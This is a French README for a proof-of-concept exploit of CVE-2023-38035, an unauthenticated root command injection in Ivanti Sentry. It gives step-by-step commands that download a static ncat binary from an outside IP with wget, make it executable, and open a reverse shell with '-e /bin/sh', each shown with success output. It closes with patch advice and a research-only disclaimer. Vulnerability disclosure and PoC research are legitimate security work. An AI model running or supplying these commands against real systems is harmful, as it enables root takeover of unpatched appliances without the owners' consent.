
Exploit de preuve de concept pour CVE-2023-38035, une injection de commande non authentifiée dans Ivanti Sentry permettant l'exécution arbitraire de commandes root et un reverse shell via ncat.
POC pour CVE-2023-38035 affectant Ivanti Sentry
Une analyse technique de la cause racine de la vulnérabilité est disponible sur notre blog : https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive
Ce POC exploite une injection de commande non authentifiée pour exécuter des commandes arbitraires en tant qu'utilisateur root.
Le contexte d'exécution ne permet pas le piping de commandes, et le système n'inclut pas de binaires facilement exploitables, donc les commandes peuvent être chaînées pour télécharger un ncat statique depuis un endroit comme https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat.
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'wget http://123.123.123.123:8000/ncat -O /tmp/ncat'
[+] Successfully executed command on target!
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'chmod +x /tmp/ncat'
[+] Successfully executed command on target!
python3 CVE-2023-38035.py -u https://<target>:8443/ -c 'sudo /tmp/ncat 123.123.123.123 4444 -e /bin/sh'
[+] Successfully executed command on target!

Mettez à jour vers la dernière version conformément aux instructions dans l'avis Ivanti
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les mainteneurs du projet ne sont pas responsables de l'utilisation abusive du logiciel. Utilisez-le de manière responsable.